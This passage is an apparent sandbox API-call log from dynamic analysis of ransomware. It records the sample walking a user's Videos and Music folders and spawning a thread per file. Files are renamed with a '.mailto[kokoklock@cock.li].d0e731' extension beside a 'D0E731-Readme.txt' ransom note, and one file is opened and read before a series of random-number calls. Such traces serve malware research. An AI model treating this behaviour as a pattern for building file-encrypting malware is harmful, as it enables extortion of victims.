ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0x855741aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1056d, dwReserved0=0x0, dwReserved1=0x0, cFileName="3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="3UXZAD~1.D0E")) returned 1 [0175.271] wcscmp (_String1="3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.271] wcscmp (_String1="3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.271] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x3054b10 [0175.271] wcscpy (in: _Dest=0x3054b10, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.271] wcscat (in: _Dest=0x3054b10, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.271] wcscat (in: _Dest=0x3054b10, _Source="3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\3uXzADtm2jsVZur.flv.mailto[kokoklock@cock.li].d0e731" [0175.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3054b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0175.473] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5543a630, ftCreationTime.dwHighDateTime=0x1d4d486, ftLastAccessTime.dwLowDateTime=0x89760e30, ftLastAccessTime.dwHighDateTime=0x1d4c927, ftLastWriteTime.dwLowDateTime=0x8559a4a5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x144c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="7GWWT5~1.D0E")) returned 1 [0175.473] wcscmp (_String1="7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.473] wcscmp (_String1="7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfa) returned 0x2f6cb40 [0175.474] wcscpy (in: _Dest=0x2f6cb40, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.474] wcscat (in: _Dest=0x2f6cb40, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.474] wcscat (in: _Dest=0x2f6cb40, _Source="7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\7GwWt5bjwAQQGJLdxBpM.mkv.mailto[kokoklock@cock.li].d0e731" [0175.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cb40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec [0175.474] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee1773d0, ftCreationTime.dwHighDateTime=0x1d4ced4, ftLastAccessTime.dwLowDateTime=0x47801a0, ftLastAccessTime.dwHighDateTime=0x1d4cad7, ftLastWriteTime.dwLowDateTime=0x855c0740, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xb108, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDCA.swf.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="CDCASW~1.D0E")) returned 1 [0175.474] wcscmp (_String1="CDCA.swf.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.474] wcscmp (_String1="CDCA.swf.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f98978 [0175.475] wcscpy (in: _Dest=0x2f98978, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.475] wcscat (in: _Dest=0x2f98978, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.475] wcscat (in: _Dest=0x2f98978, _Source="CDCA.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\CDCA.swf.mailto[kokoklock@cock.li].d0e731" [0175.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f98978, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d8 [0175.475] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855741aa, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x855741aa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x855741aa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.475] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.475] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.475] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b96de0, ftCreationTime.dwHighDateTime=0x1d4c752, ftLastAccessTime.dwLowDateTime=0x8c51b4a1, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8c51b4a1, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MZrE2f", cAlternateFileName="")) returned 1 [0175.475] wcscmp (_String1="MZrE2f", _String2=".") returned 1 [0175.475] wcscmp (_String1="MZrE2f", _String2="..") returned 1 [0175.475] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa26d8 [0175.475] wcscpy (in: _Dest=0x2fa26d8, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.476] wcscat (in: _Dest=0x2fa26d8, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.476] wcscat (in: _Dest=0x2fa26d8, _Source="MZrE2f" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\MZrE2f" [0175.476] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x2fa26d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d0 [0175.476] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd17abba0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xeac1480, ftLastAccessTime.dwHighDateTime=0x1d4cee8, ftLastWriteTime.dwLowDateTime=0x8560cac2, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x33da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="PV0D5F~1.D0E")) returned 1 [0175.476] wcscmp (_String1="PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.476] wcscmp (_String1="PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.476] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xfa) returned 0x2f6cc48 [0175.476] wcscpy (in: _Dest=0x2f6cc48, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.476] wcscat (in: _Dest=0x2f6cc48, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.476] wcscat (in: _Dest=0x2f6cc48, _Source="PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\PV0D5fF9zicdSyfj8Wn9.flv.mailto[kokoklock@cock.li].d0e731" [0175.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6cc48, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0175.477] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x136a3340, ftCreationTime.dwHighDateTime=0x1d4d121, ftLastAccessTime.dwLowDateTime=0x4b31e0b0, ftLastAccessTime.dwHighDateTime=0x1d4d1db, ftLastWriteTime.dwLowDateTime=0x85658f59, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1612e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="SJKWS_~1.D0E")) returned 1 [0175.477] wcscmp (_String1="SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.477] wcscmp (_String1="SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.477] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85718 [0175.477] wcscpy (in: _Dest=0x2f85718, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.477] wcscat (in: _Dest=0x2f85718, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.477] wcscat (in: _Dest=0x2f85718, _Source="SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\SjKws_-fQth hUHczK.avi.mailto[kokoklock@cock.li].d0e731" [0175.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f85718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0175.478] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9829e70, ftCreationTime.dwHighDateTime=0x1d4d170, ftLastAccessTime.dwLowDateTime=0x81be1d10, ftLastAccessTime.dwHighDateTime=0x1d4d186, ftLastWriteTime.dwLowDateTime=0x8567f22c, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x63ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2AV.mp4.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="T2AVMP~1.D0E")) returned 1 [0175.478] wcscmp (_String1="t2AV.mp4.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.478] wcscmp (_String1="t2AV.mp4.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f984f0 [0175.478] wcscpy (in: _Dest=0x2f984f0, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.478] wcscat (in: _Dest=0x2f984f0, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.478] wcscat (in: _Dest=0x2f984f0, _Source="t2AV.mp4.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\t2AV.mp4.mailto[kokoklock@cock.li].d0e731" [0175.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f984f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0175.479] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x763c1730, ftCreationTime.dwHighDateTime=0x1d4c7b3, ftLastAccessTime.dwLowDateTime=0x8a15e960, ftLastAccessTime.dwHighDateTime=0x1d4cd95, ftLastWriteTime.dwLowDateTime=0x856cb650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VPO011~1.D0E")) returned 1 [0175.479] wcscmp (_String1="VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.479] wcscmp (_String1="VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf2) returned 0x2f85018 [0175.479] wcscpy (in: _Dest=0x2f85018, _Source="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP" [0175.479] wcscat (in: _Dest=0x2f85018, _Source="\\" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\" [0175.479] wcscat (in: _Dest=0x2f85018, _Source="VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Videos\\SoW TDWhGpVPO4A\\OMBNCbK9FH55XhnGLg\\NHaTPIbP\\VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731" [0175.479] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f85018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0175.480] FindNextFileW (in: hFindFile=0x3044fe8, lpFindFileData=0x3020a40 | out: lpFindFileData=0x3020a40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x763c1730, ftCreationTime.dwHighDateTime=0x1d4c7b3, ftLastAccessTime.dwLowDateTime=0x8a15e960, ftLastAccessTime.dwHighDateTime=0x1d4cd95, ftLastWriteTime.dwLowDateTime=0x856cb650, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0xe6c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VPo011NEowAs8Sxm.avi.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="VPO011~1.D0E")) returned 0 [0175.480] FindClose (in: hFindFile=0x3044fe8 | out: hFindFile=0x3044fe8) returned 1 [0175.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020a40) returned 1 [0175.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfee0) returned 1 [0175.481] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82988) returned 1 [0175.481] RtlExitUserThread (Status=0x0) Thread: id = 2425 os_tid = 0x368 [0175.271] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.272] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0175.272] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\GorxmBaXvtsgdsAV\\IOn-Zuuuu rn3l18\\-zXptQeotk2t.m4a.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\gorxmbaxvtsgdsav\\ion-zuuuu rn3l18\\-zxptqeotk2t.m4a.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0175.273] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x22c7fc00 | out: lpFileSize=0x22c7fc00*=21122) returned 1 [0175.273] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x527e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.273] ReadFile (in: hFile=0x3c0, lpBuffer=0x22c7fbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x22c7fbd0, lpOverlapped=0x0 | out: lpBuffer=0x22c7fbd4*, lpNumberOfBytesRead=0x22c7fbd0*=0x4, lpOverlapped=0x0) returned 1 [0175.274] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054168 [0175.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3054190 [0175.274] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30542d0 [0175.274] NtQuerySystemTime (in: CurrentTime=0x22c7fbac | out: CurrentTime=0x22c7fbac*=132121213325920507) returned 0x0 [0175.274] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xca0bcce3 [0175.274] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xa372bccb [0175.274] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x9c0b6e17 [0175.274] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xe69264a2 [0175.274] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xa83a0e50 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x4416f539 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xf59f9a54 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xd922e7ba [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x916cb7ae [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x5ccba0d [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x9836fd17 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x9cbf10ce [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xe344d39e [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xb9b56f0 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xb7729189 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xff3f4e4a [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xb1aafda7 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xcc133f50 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xbb63610a [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xf9498198 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xa1a8a1a4 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x366ddcbe [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x50154c51 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xadd75abe [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x6cfcbb3a [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xa0b08423 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x1eeb17ab [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xf33cc45f [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x5c4a187f [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xe752fa48 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0x1d968797 [0175.275] RtlRandom (in: Seed=0x22c7fbb8 | out: Seed=0x22c7fbb8) returned 0xf907f6d2 [0175.286] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.286] ReadFile (in: hFile=0x3c0, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x22c7fb84, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0x22c7fb84*=0x4096, lpOverlapped=0x0) returned 1 [0175.286] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0175.286] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, 